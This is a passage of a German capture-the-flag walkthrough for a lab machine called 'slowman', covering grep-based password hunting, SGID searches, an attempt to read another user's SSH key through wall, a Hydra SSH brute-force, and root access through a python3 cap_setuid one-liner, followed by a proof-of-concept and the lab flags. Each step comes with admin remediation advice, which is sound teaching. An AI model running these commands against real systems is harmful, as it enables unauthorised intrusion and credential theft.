Bewertung: Der Befehl findet Vorkommen des Wortes "password" in verschiedenen Skripten und Konfigurationsdateien (z.B. `mysqlreport`, `mysqld_multi`, `debconf-set-selections`, `pastebinit`, Grub-Dateien). Die meisten Funde beziehen sich auf Passwort-Parameter, Konfigurationsbeispiele oder Code-Kommentare und enthalten keine tatsächlichen Klartext-Passwörter.

Empfehlung (Pentester): Obwohl dieser Scan keine direkten Passwörter liefert, kann er Hinweise auf Konfigurationsdateien oder Skripte geben, die genauer untersucht werden sollten. Verwenden Sie spezifischere Suchmuster oder kombinieren Sie es mit Suchen nach Benutzernamen.
Empfehlung (Admin): Vermeiden Sie das Wort "password" in Dateinamen oder Kommentaren, wenn möglich. Speichern Sie niemals Klartext-Passwörter in Dateien.

trainerjean@slowman:/var/www/html/secretgym/serverSHARE$ grep -Ri "password" /* 2>/dev/null
/bin/mysqlreport:   "password:s",
/bin/mysqlreport:if(exists $op{'password'})
/bin/mysqlreport:   if($op{'password'} eq '') # Prompt for password
/bin/mysqlreport:      print "Password for database user $mycnf{'user'}: ";
/bin/mysqlreport:   else { $mycnf{'pass'} = $op{'password'}; } # Use password given on command line
/bin/mysqlreport:   --password PASS   Use PASS or prompt for MySQL user's password
/bin/mysqlreport:   $mycnf{'pass'} ||= $mycnf{'password'} if exists $mycnf{'password'};
/bin/debconf-set-selections:my @knowntypes = qw(select boolean string multiselect note password text title);
/bin/mysqld_multi:$opt_password      = undef();
/bin/mysqld_multi:                  "user=s", "password=s", "log=s", "no-log",
/bin/mysqld_multi:  if (defined($opt_password)) {
/bin/mysqld_multi:    my $pw= $opt_password;
/bin/mysqld_multi:    # Protect single quotes in password
/bin/mysqld_multi:#   the same password to all MySQL servers being accessed by $my_progname.
/bin/mysqld_multi:#   GRANT SHUTDOWN ON *.* TO multi_admin\@localhost IDENTIFIED BY 'password'
/bin/mysqld_multi:password   = my_password
/bin/mysqld_multi:--password=...     Password for mysqladmin user.
/bin/libnetcfg:user/pass     => external user & password
/bin/libnetcfg:fwuser/fwpass => firewall user & password
/bin/debconf-show:				if ($q->type eq 'password') {
/bin/debconf-show:					print " (password omitted)";
/bin/pastebinit:                      password, private):
/bin/pastebinit:                    elif param == 'password':
/bin/pastebinit:                        params[paramname] = password
/bin/pastebinit:        print(_("\t-u  -p "), file=fd)
/bin/pastebinit:    password = ""
/bin/pastebinit:            password = opt[1]
/bin/pastebinit:                                        permatag, title, username, password,
/boot/grub/i386-pc/command.lst:legacy_check_password: legacycfg
/boot/grub/i386-pc/command.lst:legacy_password: legacycfg
/boot/grub/i386-pc/command.lst:password: password
/boot/grub/i386-pc/command.lst:password_pbkdf2: password_pbkdf2
/boot/grub/i386-pc/moddep.lst:password_pbkdf2: crypto pbkdf2 normal gcry_sha512
/boot/grub/i386-pc/moddep.lst:password: crypto normal
/boot/grub/i386-pc/moddep.lst:legacy_password_test: functional_test legacycfg
/boot/grub/i386-pc/moddep.lst:legacycfg: gcry_md5 crypto normal password linux
                       

Analyse: Suche nach Dateien mit gesetztem SGID-Bit (`-perm -2000`). Das SGID-Bit bewirkt, dass ein Programm mit den Gruppenrechten des Dateieigentümers ausgeführt wird.

Bewertung: Es wird eine Liste von Standard-Systemdateien gefunden, die das SGID-Bit gesetzt haben (z.B. `wall`, `write.ul`, `ssh-agent`, `unix_chkpwd`). Keine offensichtlich ungewöhnlichen oder benutzerdefinierten SGID-Dateien.

Empfehlung (Pentester): Überprüfen Sie die gefundenen SGID-Binaries auf bekannte Schwachstellen oder Missbrauchsmöglichkeiten (GTFOBins). Konzentration weiterhin auf die Python-Capability.
Empfehlung (Admin): Minimieren Sie die Anzahl der SGID-Binaries. Halten Sie Systemkomponenten aktuell.

trainerjean@slowman:/var$ find / -perm -2000 -type f 2>/dev/null
/snap/core20/2015/usr/bin/chage
/snap/core20/2015/usr/bin/expiry
/snap/core20/2015/usr/bin/ssh-agent
/snap/core20/2015/usr/bin/wall
/snap/core20/2015/usr/sbin/pam_extrausers_chkpwd
/snap/core20/2015/usr/sbin/unix_chkpwd
/snap/core20/1974/usr/bin/chage
/snap/core20/1974/usr/bin/expiry
/snap/core20/1974/usr/bin/ssh-agent
/snap/core20/1974/usr/bin/wall
/snap/core20/1974/usr/sbin/pam_extrausers_chkpwd
/snap/core20/1974/usr/sbin/unix_chkpwd
/usr/lib/x86_64-linux-gnu/utempter/utempter
/usr/bin/ssh-agent
/usr/bin/wall
/usr/bin/write.ul
/usr/bin/expiry
/usr/bin/chage
/usr/bin/crontab
/usr/sbin/pam_extrausers_chkpwd
/usr/sbin/unix_chkpwd
                       

Analyse: Es wird versucht, das SGID-Binary `wall` zu missbrauchen, um den Inhalt einer Datei (`/home/gonzalo/.ssh/id_rsa`) über `sudo` auszugeben. `wall` kann zum Senden von Nachrichten an alle eingeloggten Benutzer verwendet werden.

Bewertung: Der Versuch scheitert, da `trainerjean` keine sudo-Rechte hat.

Empfehlung (Pentester): Dieser spezifische `wall`-Exploit erfordert sudo. Andere SGID-Binaries könnten andere Ausnutzungsmethoden haben. Fokus auf Python.
Empfehlung (Admin): Korrekte sudo-Konfiguration verhindert diesen Exploit.

trainerjean@slowman:/var/log$ cd /tmp/
trainerjean@slowman:/tmp$ LFILE=/home/gonzalo/.ssh/id_rsa
trainerjean@slowman:/tmp$ sudo wall --nobanner "$LFILE"
[sudo] password for trainerjean:
trainerjean is not in the sudoers file.  This incident will be reported.
                       

Analyse: Ein erneuter Hydra-Brute-Force-Angriff wird auf den SSH-Dienst gestartet, diesmal für den Benutzer `trainerjeff`.

Bewertung: Der Angriff läuft, findet aber (in der gezeigten Ausgabe) kein Passwort. Es ist unklar, warum dieser Angriff erneut gestartet wird, da `trainerjeff` bereits als MySQL-Benutzer identifiziert wurde und SSH-Logins für `trainerjean` erfolgreich waren.

Empfehlung (Pentester): Vermeiden Sie redundante Brute-Force-Angriffe. Konzentrieren Sie sich auf die vielversprechendsten Vektoren (Python-Capability).
Empfehlung (Admin): Blockieren Sie Brute-Force-Angriffe mit Tools wie `fail2ban`.

┌──(root㉿cyber)-[~] └─# hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.113:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-05 23:40:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344484 login tries (l:1/p:14344484), ~224133 tries per task
[DATA] attacking ssh://192.168.2.113:22/
[STATUS] 322.00 tries/min, 322 tries in 00:01h, 14344196 to do in 742:28h, 30 active
                     

Analyse: Es wird versucht, das SGID-Binary `ssh-agent` auszunutzen, um eine Shell mit geänderten Rechten zu erhalten. Zuerst direkt, dann über `sudo`.

Bewertung: Beide Versuche scheitern. Der direkte Aufruf ändert die UID/GID nicht. Der `sudo`-Versuch scheitert, da `trainerjean` keine sudo-Rechte hat.

Empfehlung (Pentester): `ssh-agent` ist hier kein gangbarer Weg zur Eskalation. Fokus auf Python.
Empfehlung (Admin): Keine spezifische Aktion erforderlich, da die Versuche fehlschlugen.

trainerjean@slowman:/tmp$ ssh-agent /bin/sh -p
$ id
uid=1002(trainerjean) gid=1002(trainerjean) groups=1002(trainerjean)
$ exit
                       
trainerjean@slowman:/tmp$ sudo -u trainerjeff ssh-agent /bin/sh
[sudo] password for trainerjean:
trainerjean is not in the sudoers file.  This incident will be reported.
                        

Analyse: Die Überschrift "Privilege Escalation" deutet auf den nun folgenden, erfolgreichen Schritt hin.

Bewertung: Markiert den Übergang zum entscheidenden Exploit.

Empfehlung (Pentester): Bereiten Sie den Exploit für die Python-Capability vor.
Empfehlung (Admin): Keine Aktion.

              Privilege Escalation
                      

Analyse: Der entscheidende Befehl wird ausgeführt: `python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'`. Dies nutzt die `cap_setuid=ep`-Capability von `/usr/bin/python3.10`. Das Python-Skript importiert das `os`-Modul, setzt die effektive User-ID auf 0 (root) mittels `os.setuid(0)` und startet dann eine neue Shell (`/bin/sh`) mit diesen erhöhten Rechten.

Bewertung: Der Befehl ist erfolgreich! Der `id`-Befehl in der neuen Shell zeigt `uid=0(root)`, während die Gruppenmitgliedschaften noch die des ursprünglichen Benutzers (`trainerjean`) sind. Dies bedeutet, wir haben Root-Rechte erlangt.

Empfehlung (Pentester): Fantastisch, der Root-Zugriff über die Python-Capability war erfolgreich! Nun haben wir unser Ziel erreicht. Sichern Sie die Root-Flag und führen Sie weitere Post-Exploitation-Aktionen durch (Persistenz, Bereinigung, weitere Datensuche).
Empfehlung (Admin): Entfernen Sie die `cap_setuid`-Capability von `/usr/bin/python3.10` (`setcap -r /usr/bin/python3.10`). Überprüfen Sie regelmäßig Capabilities auf allen Systemdateien.

trainerjean@slowman:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)
#

Analyse: Nach Erlangung der Root-Shell wird ins Home-Verzeichnis des vorherigen Benutzers (`~`, also `/home/trainerjean`) gewechselt und die `user.txt` erneut gelesen. Dann wird ins Root-Home-Verzeichnis (`/root`) gewechselt und dessen Inhalt aufgelistet. Schließlich wird die `root.txt` gelesen.

Bewertung: Bestätigt die User-Flag und findet die Root-Flag-Datei `root.txt`. Der Inhalt der Root-Flag wird erfolgreich ausgelesen: `Y0UGE23t7hE515roo7664pa5$WoRDFSlowmaN!!`.

Empfehlung (Pentester): Beide Flags wurden erfolgreich gesichert. Der Hauptteil des Tests ist abgeschlossen.
Empfehlung (Admin): Sichern Sie die Flag-Dateien besser (restriktivere Berechtigungen, ungewöhnlichere Speicherorte). Beheben Sie die Ursache der Privilegieneskalation (Python-Capability).

# cd ~
# ls
py.py  snap  user.txt
# cat user.txt
YU9et7HEpA$SwordofS10wMan!!
# cd /root
# ls
root.txt  snap
# cat root.txt
Y0UGE23t7hE515roo7664pa5$WoRDFSlowmaN!!
#

Analyse: Dies ist ein Kommentar im ursprünglichen Text, der den erfolgreichen Abschluss der Privilege Escalation markiert.

Bewertung: Die Erlangung von Root-Rechten wurde erfolgreich abgeschlossen.

Empfehlung (Pentester): Dokumentieren Sie den Weg zur Root-Erlangung klar im Bericht (was hier durch den POC und die vorherigen Schritte geschehen ist).
Empfehlung (Admin): Fokussieren Sie sich auf die Behebung der Schwachstellen, die zur Privilegieneskalation geführt haben.

  Privilege Escalation erfolgreich
                     

Proof of Concept: Ausnutzung der Python setuid-Capability

Kurzbeschreibung: Die Binärdatei `/usr/bin/python3.10` verfügt über die gesetzte Linux-Capability `cap_setuid=ep`. Diese Capability erlaubt es einem Prozess, seine eigene effektive Benutzer-ID (UID) zu ändern. Durch Ausführen eines speziell präparierten Python-Skripts kann ein Benutzer mit niedrigen Rechten (hier `trainerjean`) seine UID auf 0 (root) setzen und somit eine Root-Shell erlangen.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

Analyse Schritt 1: Überprüfen der gesetzten Capabilities für die Python-Binärdatei.

Bewertung Schritt 1: Der Befehl `getcap` bestätigt, dass `/usr/bin/python3.10` die `cap_setuid=ep` Capability besitzt.

Empfehlung (Pentester): Dies bestätigt den Angriffsvektor.
Empfehlung (Admin): Erkennen und Entfernen unnötiger Capabilities ist entscheidend.

trainerjean@slowman:/tmp$ getcap /usr/bin/python3.10
/usr/bin/python3.10 cap_setuid=ep

Analyse Schritt 2: Ausführen eines Python-Einzeilers, der das `os`-Modul importiert, `os.setuid(0)` aufruft, um die UID auf root zu setzen, und anschließend eine Shell (`/bin/sh`) startet.

Bewertung Schritt 2: Der Befehl wird erfolgreich ausgeführt. Die anschließende Überprüfung mit `id` zeigt `uid=0(root)`, was die erfolgreiche Privilegieneskalation bestätigt.

Empfehlung (Pentester): Der Exploit war erfolgreich. Sie haben nun Root-Zugriff.
Empfehlung (Admin): Entfernen Sie die `cap_setuid`-Capability von Python (`setcap -r /usr/bin/python3.10`).

trainerjean@slowman:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)
#

Erwartetes Ergebnis: Erfolgreiche Erlangung einer interaktiven Shell mit root-Berechtigungen (UID=0).

Beweismittel: Die Ausgabe des `id`-Befehls (`uid=0(root)`) innerhalb der durch Python gestarteten Shell.

Risikobewertung: Hoch. Diese Fehlkonfiguration ermöglicht einem lokalen Benutzer die vollständige Übernahme des Systems.

Empfehlungen: Entfernen Sie die `cap_setuid`-Capability von `/usr/bin/python3.10` (`setcap -r /usr/bin/python3.10`). Überprüfen Sie regelmäßig die Capabilities aller Systemdateien und wenden Sie das Prinzip der geringsten Rechte an.

Flags

cat /home/trainerjean/user.txt
YU9et7HEpA$SwordofS10wMan!!
cat /root/root.txt
Y0UGE23t7hE515roo7664pa5$WoRDFSlowmaN!!